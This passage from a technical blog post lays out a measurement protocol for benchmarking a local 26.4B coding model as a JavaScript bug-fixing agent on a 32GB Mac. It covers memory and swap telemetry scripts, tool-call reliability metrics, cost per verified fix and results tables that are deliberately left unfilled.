    "$ts" "$PAGESIZE" \
    "$((free_p*PAGESIZE))" "$((active_p*PAGESIZE))" "$((wired_p*PAGESIZE))" "$((comp_p*PAGESIZE))" \
    "$(awk -v m="$swap_total" 'BEGIN{printf "%d", m*1048576}')" \
    "$(awk -v m="$swap_used"  'BEGIN{printf "%d", m*1048576}')" \
    "$swapins" "$swapouts" "$procs" >> "$OUT"

  sleep "$INTERVAL_S"
done

Notes that matter for correctness:

  • vm.swapusage reports megabytes with two decimals; the values are binary megabytes in practice, hence × 1048576 above. Document the conversion you used — the difference between 10^6 and 2^20 is a 4.8% error that compounds.
  • Swapins/Swapouts appear in vm_stat on current macOS; older builds used different labels. Parse defensively and record null rather than 0 when a field is absent. A zero that means "not reported" is worse than a null.
  • ps -o rss= is in kilobytes on macOS. Multiply by 1024. Don't reuse the page-size multiplier here — RSS is already in KB.

Track the model server, agent harness, and test-runner process tree while distinguishing resident memory, physical footprint where available, and system-wide memory state

Three quantities that are easy to conflate:

QuantityCommandMeaningGotcha
RSSps -o rss=Pages currently in physical memory for that processShared pages counted once per process; summing double-counts
Physical footprintfootprint <pid> (if present)Apple's accounting, closer to what the OS attributesSlower; run at lower frequency
System-wide statevm_stat, vm.swapusageFree/active/wired/compressor pages and swapNot attributable to a process

footprint ships with the OS developer tools on recent macOS but isn't guaranteed present; check command -v footprint and record null if missing rather than substituting RSS under a different label.

Discover the process tree from the harness root so test runners and their children get included:

tree_pids() {
  local root="$1" out="$root"
  for _ in 1 2 3 4; do
    local kids
    kids=$(ps -Ao pid=,ppid= | awk -v parents="$out" '
      BEGIN { n = split(parents, a, ","); for (i=1;i<=n;i++) p[a[i]]=1 }
      p[$2] { printf "%s,", $1 }')
    kids=${kids%,}
    [ -z "$kids" ] && break
    out="$out,$kids"
  done
  printf '%s' "$out"
}

Test-runner children live for seconds. A 1-second sampler will miss most of them; either sample at 250–500ms during test execution or accept that test-runner memory is under-observed and say so.

Explain why summing process RSS can double-count shared pages and why process memory does not necessarily capture all accelerator or shared allocations

RSS overcounts. When the model runtime and the harness both map the same shared library, its pages appear in both RSS values. Summing gives a number larger than physical memory actually consumed. System-wide vm_stat figures don't have that problem, but they can't be attributed to a process.

RSS can also undercount. Accelerator allocations made through Metal or a unified-memory allocator may not be fully reflected in the process's resident pages at the moment you sample, depending on how the runtime wires and reports memory. A moment when the GPU holds several GB of KV cache isn't necessarily a moment when RSS jumped by the same amount.

Practical rule: report both. Process-tree RSS (labelled an upper bound with double-counting) and system-wide free/wired/compressor/swap. Never report a single "memory used" figure — that number doesn't exist.

Sample startup, model loading, prompt processing, generation, tool execution, and verification; report the sampling interval and label recorded maxima as sampled peaks

Attach phase labels to the sampler so each sample is attributable:

phase          window                          expected shape
idle           before runtime start            flat, low swap
load           runtime start → first token     large step in RSS, compressor may rise
prefill        first token → first tool call   KV cache growth with context
generate       tool calls, patches             oscillating, harness buffers grow
test_exec      test runner spawned             child RSS spike, short-lived
verify         clean checkout + acceptance     similar to test_exec
teardown       processes exit                  RSS falls; swap may not

A peak recorded at 1 Hz is a sampled peak. The true peak between samples can be higher, sometimes much higher for sub-second test-runner spikes. Write "sampled peak at 500ms interval" on every table column, not "peak memory."

Report baseline and peak swap usage, end-of-run change, and swap-in or swap-out activity where available; explain why these describe different effects

Four swap facts that get conflated constantly:

  1. Baseline swap used — swap_used before the run. Non-zero on many machines that have been up for days; it's context, not contamination.
  2. Peak swap used — maximum sampled swap_used.
  3. End-of-run delta — end − baseline. Positive means net page-out; negative means pages were reclaimed during the run.
  4. Swapin/swapout counters — cumulative event counts. A machine can show a large swap_used with zero swapouts during the run (pages paged out hours ago, untouched since), or a small swap_used with thousands of swapouts during the run (constant thrashing against a small swap file).

These describe different effects. swap_used is occupancy; swapout deltas are traffic. Traffic is what makes a run slow; occupancy is what makes the machine feel heavy afterwards. Report both, and never claim "no swapping" from an unchanged swap_used.

Show the telemetry schema and calculation script, account for sampler overhead, and label unavailable measurements rather than substituting estimates

Aggregation in JavaScript, with explicit handling for missing data:

// aggregate.mjs — read samples.jsonl, emit a summary with nulls preserved


const rows = readFileSync(process.argv[2], "utf8")
  .split("\n").filter(Boolean).map((l) => JSON.parse(l));

if (rows.length === 0) throw new Error("no samples");

const maxOf = (key) => {
  const vals = rows.map((r) => r[key]).filter((v) => Number.isFinite(v));
  return vals.length ? Math.max(...vals) : null;   // null, never 0, when absent
};

const baseline = rows[0];
const last = rows[rows.length - 1];

const summary = {
  sample_count: rows.length,
  interval_ms: estimateInterval(rows),
  pagesize_bytes: rows[0].pagesize_bytes,
  rss_peak_tree_bytes: maxOf("tree_rss_bytes"),
  compressor_peak_bytes: maxOf("compressor_bytes"),
  wired_peak_bytes: maxOf("wired_bytes"),
  free_min_bytes: (() => {
    const vals = rows.map((r) => r.free_bytes).filter(Number.isFinite);
    return vals.length ? Math.min(...vals) : null;
  })(),
  swap_baseline_bytes: baseline.swap_used_bytes,
  swap_peak_bytes: maxOf("swap_used_bytes"),
  swap_end_bytes: last.swap_used_bytes,
  swap_end_delta_bytes:
    Number.isFinite(last.swap_used_bytes) && Number.isFinite(baseline.swap_used_bytes)
      ? last.swap_used_bytes - baseline.swap_used_bytes : null,
  swapouts_delta: last.swapouts - baseline.swapouts,
  swapins_delta: last.swapins - baseline.swapins,
  unavailable: [],
};

for (const k of ["compressor_bytes", "swap_used_bytes", "swapouts"]) {
  if (maxOf(k) === null) summary.unavailable.push(k);
}

console.log(JSON.stringify(summary, null, 2));

function estimateInterval(rows) {
  if (rows.length < 2) return null;
  const t0 = Date.parse(rows[0].t_utc), t1 = Date.parse(rows[1].t_utc);
  return Number.isFinite(t0) && Number.isFinite(t1) ? t1 - t0 : null;
}

Sampler overhead: a shell loop that forks awk six times per sample costs real CPU. Measure it. Run the sampler with no model loaded for 60 seconds and record the mean CPU percentage. If it exceeds a few percent, rewrite the parsing as a single awk invocation or move the loop into Node. A 3% sampler overhead is a footnote; not knowing it is a confound.

Define explicit stop conditions for sustained memory pressure, insufficient free disk space, runaway processes, and repeated timeouts

Predeclared abort conditions, checked by the harness, not by a human watching a fan curve:

STOP-1  compressor_bytes > 0.35 × hw.memsize for 30s sustained
STOP-2  free disk on / < 20 GB (swap file growth + clean checkouts)
STOP-3  any process in the tree with RSS > 0.5 × hw.memsize
STOP-4  3 consecutive task timeouts in the same run
STOP-5  swapouts_delta > 200000 events during a single task
STOP-6  agent process tree alive > 2× task wall budget after SIGKILL

An aborted run is a data point, not a failed experiment — record aborted: STOP-N, the phase, and the sampled state at abort. Runs stopped because the machine was thrashing are exactly the observation the headline claim "runs on a 32GB Mac" needs to be tested against.

Measure Tool Reliability, Latency, and Cost per Verified JavaScript Fix

Define time to first generated token, first valid tool call, first patch, and independently verified completion; separate model startup from warm execution

Four timestamps, each answering a different question:

MetricDefinitionAnswers
TTFTrequest sent → first token receivedIs prefill tolerable?
TTVTrequest sent → first call that passes L2+L3Does the model speak the protocol?
TTPtask start → first patch eventDoes it act at all?
TTV (verified)task start → independent acceptance passDoes it work?

A model can have excellent TTFT and terrible TTVT — it generates fluently and can't reliably emit a schema-conforming tool call. That combination is invisible in a throughput benchmark and fatal in an agent loop.

Cold-start numbers go in a separate block: model load time on a machine that hasn't run inference since boot is frequently 3–10× the warm load, and it's dominated by disk reads, not by the model.

Measure syntax-valid and schema-valid tool calls, rejected arguments, execution failures, redundant calls, recovery attempts, and budget exhaustion with clear denominators

Every rate needs a denominator written next to it:

tool_calls_total           = all parsed call attempts
parse_ok_rate              = parse_ok / tool_calls_total
schema_ok_rate             = schema_ok / parse_ok
arg_valid_rate             = arg_valid / schema_ok
exec_success_rate          = exec_ok / arg_valid
redundant_call_rate        = identical(name,args) repeated / arg_valid
recovery_rate              = recovered_after_error / errors_seen
budget_exhausted_rate      = runs hitting tool_call or wall budget / runs

Reporting "tool-call accuracy 92%" without saying 92% of what is the most common way these numbers get inflated. parse_ok_rate of 0.92 with schema_ok_rate of 0.71 is a 0.65 end-to-end reliability, and that's the number the agent loop actually experiences.

Report end-to-end verified-fix latency and failure counts before token throughput; identify whether runtime token counters include any internal looping work

Latency per verified fix is the only latency that maps to a workday. Tokens per second is an intermediate value that can rise while verified-fix latency falls — for example, if a shorter context makes generation faster but produces worse patches that need retries.

On a looped-transformer design, token counters deserve a specific question: does the runtime's reported output-token count reflect the final emitted tokens, or does it accumulate work across internal loop iterations? If the runtime only reports emitted tokens, tokens/second can look flat while wall-clock per fix doubles, because the extra work happens inside a single token. Until the runtime's counting semantics are documented, record the counter as tokens_out_reported and don't compute throughput from it alone. Use wall-clock per verified fix as the primary latency metric and treat token counters as secondary.

Use per-task results, medians, tail observations, paired configuration comparisons; show timeouts separately so successful runs do not hide failures

Aggregate means hide the two things that matter. Report per task, then median, then the tail.

Task    Config    Attempts  Verified  MedianTTV_ms  MaxTTV_ms  Timeouts
JS-01   A         3         3/3       41200         51800      0
JS-04   A         3         2/3       76500         213400     1
JS-10   A         3         0/3       —             —          2

A mean over that row set is meaningless: the JS-10 timeouts aren't fast or slow, they're absent. Timeouts get their own column and are excluded from the median with the exclusion count stated.

Paired comparison is the only honest way to compare configurations: run task X under A and under B, compare within the task, then aggregate the per-task differences. Unpaired comparisons across different task mixes will produce a "winner" from task ordering alone.

Calculate cost per verified fix as total measured run cost, including unsuccessful attempts, divided by independently verified fixes

The formula, with every term defined:

cost_per_verified_fix =
    (sum of all run costs, successful and failed)
  / (number of independently verified fixes)

run_cost = electricity_cost + amortization_cost + human_intervention_cost

Electricity needs a measurement or an explicit assumption. On macOS, sudo powermetrics --samplers smc -i 1000 reports package/CPU/GPU power but requires root and adds noise; treating it as optional and flagging the assumption is more honest than presenting an estimate as a measurement.

## worked example — ALL FIGURES BELOW ARE ASSUMPTIONS, NOT MEASUREMENTS
mean wall power during run        = 38 W        (assumed; replace with powermetrics)
run wall time per task            = 180 s       (assumed)
tasks attempted                   = 36          (12 tasks × 3 attempts)
verified fixes                    = 24
electricity price                 = 0.30 USD/kWh (assumed)

energy_kwh = 38 W × 180 s × 36 / 3600 / 1000 = 0.0684 kWh
electricity_cost = 0.0684 × 0.30 = 0.0205 USD
cost_per_verified_fix = 0.0205 / 24 = 0.00085 USD

That number looks absurdly small, and that's the point: for local inference, electricity is almost never the dominant cost. Human intervention is.

## the term that actually dominates
human_minutes = time spent triaging failures, restarting, re-running
cost_per_verified_fix_human = human_minutes × hourly_rate / verified_fixes

If a run needs 45 minutes of triage to land 24 fixes at a loaded rate of 60 USD/hour, that's 45 USD of human time against 0.02 USD of electricity — a 2000× ratio. Any "local is cheaper than API" argument that omits this term is comparing the wrong quantities. Amortization belongs in the same honesty bucket: dividing a 3000 USD machine over three years of continuous use attributes a real cost, but the allocation is a choice, so state the choice.

Zero verified fixes makes cost per fix undefined, not infinite-and-impressive. Report it as undefined (0 verified fixes) with the total spend shown; don't write a per-fix figure.

Separate electricity, optional hardware amortization, and human intervention; disclose wall-power measurement or estimation assumptions and report zero-success cost as undefined

Restated as a reporting contract, because the temptation to collapse these is strong:

  • Electricity: measured (powermetrics) or assumed (stated wattage, stated price, stated duration). Label which.
  • Amortization: optional, with the purchase price, useful-life, and utilization assumption written out.
  • Human intervention: minutes measured by someone, or explicitly not measured.

Three lines, one denominator. That's a cost table.

Test What Inkling 2 Mini's Looped Transformer Design Changes

Use official architecture documentation to establish what is reused across iterations, which execution settings are exposed, and what remains unknown

The supplied coverage describes a "looping" or "looped transformer" design but gives no mechanism. The questions that decide whether the design matters for a 32GB local deployment:

  1. What is reused across iterations? Shared weights with per-iteration state, or distinct parameter blocks? Shared weights mean parameter storage doesn't grow with loop count, but activation memory and compute do.
  2. Is loop count a runtime setting? If yes, it's a tunable with a measurable tradeoff. If it's baked into the artifact, no ablation is possible and the whole question collapses to "measure the one artifact you have."
  3. What does the KV cache look like across iterations? Cache growth per token determines how much of the 32GB budget survives a long context.
  4. Does the runtime report per-iteration timing? Without it, you can only observe end-to-end.

None of these are answerable from the supplied material. All four are answerable from a model card and an architecture document. That asymmetry is why the ledger has C-10 marked UNRESOLVED rather than guessed at.

Distinguish stored parameter count from inference work: repeated computation can change latency and working memory without proportionally changing weight storage

The confusion worth clearing up, because it's the mechanism by which "26.4B on a 32GB Mac" and "it's fast" get conflated:

  • Stored parameters set the weight memory floor. 26.4B at 4-bit is ~13.2 GB regardless of how many times the forward pass traverses the layers.
  • Inference work sets latency and activation memory. If a design iterates a block of layers N times, the compute per emitted token scales roughly with N for that block, while the weight footprint doesn't change at all.

The arithmetic that gets a model under 32GB tells you nothing about tokens per second, and a throughput number tells you nothing about whether it fits. Two independent questions; two independent measurements. A looping design is precisely the case where the two diverge most, which makes it a good stress test of whether a benchmark is measuring the right thing.

Run a loop-setting ablation only if the documented runtime exposes a supported control; otherwise limit conclusions to the tested artifact and configuration

Decision rule, predeclared:

IF runtime documentation lists a supported loop/iteration parameter
   AND it can be set per request or per server start
THEN run the ablation: loop = min, default, max (documented values only)
ELSE
   record "no documented control; single-artifact result"
   AND do not report architecture-attributed differences

If the control exists but is undocumented — a config key discovered in a source file, a flag that appears in --help without a description — don't build a headline result on it. An undocumented knob can change semantics between runtime versions, and the result won't reproduce.

Hold tasks, quantization, context budget, agent tools, and stopping rules constant while varying one supported setting at a time

The invariant set for any ablation:

Held constantWhy
Task suite and fixture commitsOtherwise you compare task difficulty
Quantization artifactDifferent quantization is a different model for measurement purposes
Context budgetKV cache scales with it; memory peaks shift
Tool set and schemasTool-call reliability is schema-dependent
Output token cap per callTermination behaviour changes with the cap
Stop conditions and budgetsAborted runs must be attributable
Sampler intervalSampled peaks at different rates are not comparable
Machine state (settling check)Baseline swap differs run to run

One variable moves. Everything else is pinned in run-manifest.json and diffed between runs before the results are compared.

Compare verified fixes, elapsed time, tool-call failures, sampled memory peaks, and swap activity; distinguish measured associations from architectural explanations

The dependent variables, in the order they should be reported:

  1. Verified fixes (count, out of 36 per configuration)
  2. Elapsed time per verified fix (median, tail)
  3. Tool-call failure counts by layer (L1–L6)
  4. Sampled memory peak (process-tree RSS and system-wide, at stated interval)
  5. Swap: baseline, peak, end-delta, swapin/swapout deltas

If loop count = 2 and loop count = 4 produce 20 and 26 verified fixes respectively with identical memory peaks, that is a measured association between loop count and verified-fix rate at this configuration. It is not evidence that the loop mechanism improves reasoning — the extra compute could be buying longer effective deliberation, or it could be interacting with the output token cap in a way that changes how often the agent gives up. Calling the second thing from the first data point is the error this section exists to prevent.

Explain why a different quantization or runtime introduces confounders and why parameter count alone cannot establish a performance advantage

Two independent confounders sit between any two "26.4B model" results:

Quantization. A 4-bit artifact and an 8-bit artifact of the same weights produce different outputs. A lower verified-fix rate on the 4-bit artifact is a statement about the artifact, not about the architecture. Since the 32GB constraint likely requires aggressive quantization, this confounder is load-bearing for the entire question — which means the artifact identifier belongs in every results table cell, not in an appendix.

Runtime. KV cache implementation, attention kernels, batching, and context handling all live in the runtime. Two runtimes loading identical weights can differ by 2× in memory peak at the same context length. "It runs on 32GB" is a claim about a (model, quant, runtime, context) tuple; drop any element and the claim becomes unfalsifiable.

Parameter count is not a performance metric at all. It's a storage metric. A 26.4B model with heavy looping can require more inference work per token than a 40B model that runs each layer once. Comparing parameter counts across architectures to predict speed is comparing file sizes to predict render time.

Present Results Beside the Evidence That Supports Them

Publish a configuration table linking every result to its model revision, quantization, runtime, hardware manifest, and agent settings

Every results row must be traceable to a configuration row. The table below is the empty structure; the cells stay unfilled until runs complete.

ConfigModel revQuantRuntimeContextLoop settingHarnessHardwareStatus
AMODEL_REV_AQUANT_ART_VER_A8KdefaultHARNESS_SHAenv-manifest.txt#shanot measured
BMODEL_REV_AQUANT_ART_VER_A16KdefaultHARNESS_SHAsamenot measured
CMODEL_REV_AQUANT_ART_VER_A8Kalt (if exposed)HARNESS_SHAsamenot measured

The empty cells are the deliverable at this stage. Filling them with plausible numbers would convert a protocol into a fabrication.

Publish a task-level results table with verified status, elapsed time, tool-call counts, sampled memory peak, swap measurements, retries, and failure reason

Column definitions first, then (empty) data:

ColumnUnitSource
Verifiedpass / failverify.sh exit code
Attempt1–3first attempt that passed, or —
TTV_msmspatch → acceptance pass, monotonic
ToolCallscountbudget events
SampledRSSPeakbytestelemetry, stated interval
SwapEndDeltabytestelemetry
SwapoutsΔcounttelemetry
FailLayerL1–L6triage log
Task   Cfg  Verified  Attempt  TTV_ms  ToolCalls  SampledRSSPeak  SwapEndDelta  SwapoutsΔ  FailLayer
JS-01  A    not measured —————————————————————————————————————————————————————
JS-02  A    not measured —————————————————————————————————————————————————————
...
JS-12  A    not measured —————————————————————————————————————————————————————

Walk through one verified patch with its failing reproduction, final diff, independent test output, and relevant event timestamps

Illustrative trace structure, using the JS-04 fixture from §4.4. No Inkling 2 Mini output has been produced.

seq  t_mono_ms  type                detail
  1      12.4    request             ctx_in=1841, tools=4, tools_hash=ab12…
  2    2408.9    response_raw        tokens_out=189, finish=stop, wall_ms=2396
  3    2411.2    tool_call_parsed    read_file {path:"src/paginate.js"} schema_ok=true
  4    2413.0    tool_result         ok=true, bytes=214
  5   11022.7    response_raw        tokens_out=311, finish=stop
  6   11024.0    tool_call_parsed    apply_patch {diff:"…"} schema_ok=true
  7   11031.5    patch               files=1, +1/-1
  8   11040.2    tool_call_parsed    run_tests {suite:"node:test:unit"} schema_ok=true
  9   11290.8    test_run            exit=0, passed=1, failed=0
 10   11299.1    budget              tool_calls_used=3, wall_ms_used=11286

The diff a correct attempt would produce:

--- a/src/paginate.js
+++ b/src/paginate.js
@@ -1,4 +1,5 @@
 export function paginate(items, page, perPage) {
-  const start = page * perPage;
+  const start = (page - 1) * perPage;
+  if (start < 0 || start >= items.length) return [];
   return items.slice(start, start + perPage);
 }

Independent verification in the isolated copy:

$ ./verify.sh JS-04 /tmp/agentws/JS-04-1
ok 1 - page 1 returns first slice
ok 2 - page 2 returns second slice
ok 3 - last page returns remainder
ok 4 - out-of-range page returns []
RESULT: pass

What this trace demonstrates about the harness, rather than about the model: the patch is applied by a tool, the unit suite the agent ran is not the acceptance suite, and the pass verdict comes from a process the agent never touched. Any of those three could be wrong in a benchmark that just asks the model "did you fix it?"

Walk through a representative failure or unstable task with its frequency and conditions, separating an invalid tool call from a wrong fix or resource limit

Illustrative failure shape, again not an observed result — this is what the triage entry should look like:

Task: JS-10 (race between close and data events)
Config A, attempts 1-3: 0/3 verified

Attempt 1  L4  patch applied; unit suite passed; acceptance timed out at 120s
                → likely a hanging stream in the agent's implementation
Attempt 2  L2  tool call emitted as prose-fenced JSON inside a text block;
                parser rejected; harness retried once; then patched anyway
                → tool-call format issue, not a reasoning issue
Attempt 3  L6  aborted at STOP-1 (compressor > 35% for 30s)
                → memory pressure, possibly from an unbounded retry loop

Three attempts, three different layers. Reporting this as "the model scored 0/3 on JS-10" buries the fact that only attempt 1 was a model-quality failure. Frequency and conditions matter as much as the count: if L2 failures cluster on the fifth and later turns of a conversation, the fix is context management, not a different model.

Maintain separate findings for locally observed behavior, corroborated source claims, architectural inference, and unanswered questions; leave results unfilled until measured

Four buckets, never merged in prose:

Locally observed — empty until runs exist. Anything here cites a run_id.

Corroborated source claims — the release window, publisher, and model name, corroborated across four secondary outlets; parameter count and 32GB claim from a single headline each.

Architectural inference — that a looping design decouples weight storage from inference work (§8.2) is a general property of repeated computation, not a claim about this specific model. That a 4-bit 26.4B artifact leaves roughly 13–14GB of a ~27GB effective budget for everything else (§3.3) follows from the reported parameter count and typical quantization overhead, and is arithmetic rather than measurement.

Unanswered — everything in the ledger marked UNRESOLVED, plus the entire quantitative half of this post.

Decide Whether Inkling 2 Mini Is Practical on a 32GB Mac

Apply predeclared acceptance criteria for verified-fix rate, latency, memory headroom, swap behavior, and unattended tool reliability

Criteria set before data collection, so the conclusion can't be reverse-engineered:

DimensionBar for "practical"Bar for "marginal"Bar for "not practical"
First-attempt verified≥ 8/125–7/12≤ 4/12
Eventually verified (≤3 attempts)≥ 10/127–9/12≤ 6/12
Median TTV≤ 120 s120–300 s> 300 s
Min free memory headroom≥ 3 GB sustained1–3 GB< 1 GB
Swapouts during runs~0occasional, non-sustainedsustained during every run
Runaway/completed ratio0 runaway1–2, recoveredrepeated runs requiring manual intervention

These bars are defensible for a personal local agent and would be far too lenient for a team dependency. State which use case the verdict addresses, because "practical" means very different things on a solo developer's laptop versus a CI machine.

Map observed bottlenecks to specific mitigations: shorter context, bounded tool output, smaller generation budgets, supported quantization changes, or lower concurrency

The mitigation table is worth writing before the bottlenecks are known, because it forces each complaint to name a knob:

SymptomMitigationExpected effectRisk
Peak RSS near limitReduce context to 8KKV cache shrinks roughly linearlyMore truncation, worse multi-file tasks
Harness RSS growth over a runCap tool output at 32KB, summarise old turnsSlower harness growthModel loses earlier context
Long tails on TTVLower max_output_tokens per callFewer runaway generationsMore incomplete reasoning
High tool-call failure rateStricter schema, smaller tool set, format examplesHigher schema_ok_rateMore prompt tokens
Sustained swapoutsSmaller quantization, if the publisher ships oneLower weight floorQuality change — must re-run suite
TimeoutsRaise wall budget OR reduce task scopeFewer abortsBenchmarks longer; may mask the real issue

The last risk column is the one that bites. Every mitigation trades a memory or latency number for a capability, and a post that reports the improved number without the re-run is reporting half an experiment.

Re-run the same tasks after each mitigation and show whether reduced memory pressure actually improves verified completion rather than merely lowering a memory counter

This is the step that distinguishes engineering from tuning. A mitigation that drops sampled peak from 26 GB to 22 GB and drops verified fixes from 8/12 to 6/12 has made the configuration worse for the question being asked. The comparison is paired, same tasks, same fixture commits:

Config  Mitigation              SampledPeak  SwapoutsΔ  FirstAttemptVerified  MedianTTV
A       none (baseline)         not measured ————————————————
A'      context 16K → 8K        not measured ————————————————
A''     + tool output cap 32KB  not measured ————————————————

If A'' shows lower memory and equal or better verified rate, that's a genuine win. If it shows lower memory and a worse rate, the honest headline is "the memory problem was a capability subsidy."

Conclude conditionally and narrowly: distinguish loading successfully, completing small tasks, and sustaining a useful agent workload on the tested Mac

Three distinct verdicts, and the headline claim collapses them:

  1. Loads. Weights fit in unified memory at a stated quantization and context length with a stated amount of headroom. This is the claim the headline makes, and the easiest one to satisfy.
  2. Completes small tasks. High verified rate on bounded, single-file bugs with short contexts and generous budgets. Meaningfully harder, and where most local setups actually land.
  3. Sustains a workload. Consistent verified rate across 36 runs with no aborts, stable swap, bounded harness growth, and unattended tool-call reliability. This is the claim that matters for daily use, and the one no headline is making.

My expectation, stated as inference rather than finding: a 26.4B 4-bit artifact on 32GB will likely clear (1) comfortably, will likely clear (2) at 8K context with a disciplined harness, and is an open question at (3) — where the failure mode I'd bet on is harness memory growth and tool-call schema reliability under longer conversations, not model weights. That bet is falsifiable, and the protocol above falsifies it.

Until someone runs it and fills in the tables, "puts a 26.4B coding model on a 32GB Mac" remains a statement about a download completing, not about an agent shipping fixes.

Inkling 2 Mini Sources and Reproduction Artifacts

Primary documentation: not located in the supplied material. No model card, release announcement, architecture document, license, or runtime specification was provided with this topic. Those are the first four links that should appear in this section once they exist; their absence is recorded in the claim ledger as C-08 through C-10.

The supplied secondary coverage, retained as attributed context only:

  • Kingy AI, 2026-11-21 — "Inkling 2 Mini puts a 26.4B coding model on a 32GB Mac" (Google News item) — source of the parameter count and Mac claim.
  • Superpower Daily, 2026-11-21 — "Thinking Machines releases Inkling 2 Mini with open weights and a looping design" (Google News item) — source of the open-weights and looping-design descriptions.
  • news.lavx.hu, 2026-11-20 — "Thinking Machines Lab Releases Inkling 2 Mini, a Looped Transformer for Local Agentic Coding" (Google News item) — source of the "local agentic coding" framing.
  • Vals AI, 2026-11-20 — "Inkling 2 Mini Benchmarks, Cost and Capabilities" (Google News item) — benchmark and cost coverage; method not described in the snippet.

Treat all four as unverified secondary reporting. None is a substitute for a model card.

Include relevant official macOS measurement references and Node.js testing documentation where they support the procedures

  • Node.js test runner (node --test, TAP reporter, --test-reporter): nodejs.org/api/test.html
  • Node.js child_process (spawn, detached, stdio and kill semantics): nodejs.org/api/child_process.html
  • Node.js performance.now() and the monotonic clock: nodejs.org/api/perf_hooks.html
  • Local man pages for the macOS tools used above: man vm_stat, man sysctl, man ps, man footprint, man powermetrics. Read the local pages for your exact macOS build rather than a blog post, including this one — field labels in vm_stat output have changed across releases.

Publish the benchmark manifest, fixture commits, harness scripts, sanitized traces, telemetry, and aggregation commands, with omissions and reproduction limits documented

The artifact set that makes this reproducible, in the order someone would actually use it:

bench/
  claims.lock                 # §2.5 identifiers, checksums, pinned versions
  env-manifest.txt            # §3.1 output for the test machine
  run-manifest.json           # §3.4, emitted per run
  tasks/*.yaml                # §4.3 task definitions
  fixtures.commit             # pinned fixture repo commit
  harness/
    tools.mjs                 # §4.2 validated tool implementations
    events.mjs                # §4.5 JSONL event schema
    aggregate.mjs             # §5.6 telemetry summary
    sample-mem.sh             # §5.1 sampler
  traces/<run_id>.jsonl       # sanitized: no prompts containing secrets
  results/
    tasks.csv                 # §7.2 task-level table
    configs.csv               # §7.1 configuration table
  verify.sh                   # §4.5 independent verification

Documented omissions and reproduction limits — write these into the repo README, not a footnote:

  • No verified primary documentation existed at time of writing; model identifiers in claims.lock are placeholders and must be replaced from official sources.
  • Only one machine architecture tested; Apple Silicon memory behaviour doesn't transfer to discrete-GPU systems.
  • Sample of 12 tasks × 3 attempts supports coarse comparisons only; differences under ~15 percentage points in verified rate are within noise.
  • Seeds may be unsupported or ignored by the runtime; runs aren't bit-reproducible, only protocol-reproducible.
  • Traces are sanitized; raw traces may contain repository content and are not published.
  • Sampled peaks are lower bounds on true peaks at the stated interval.
  • The loop-setting ablation runs only if the runtime documents a supported control; otherwise results describe a single artifact.

A benchmark that documents what it did not measure is worth more than one that reports a clean number with no provenance — which is exactly the trade the original headline made, and exactly the trade this protocol exists to undo.

Share this post

More posts

Loading comments…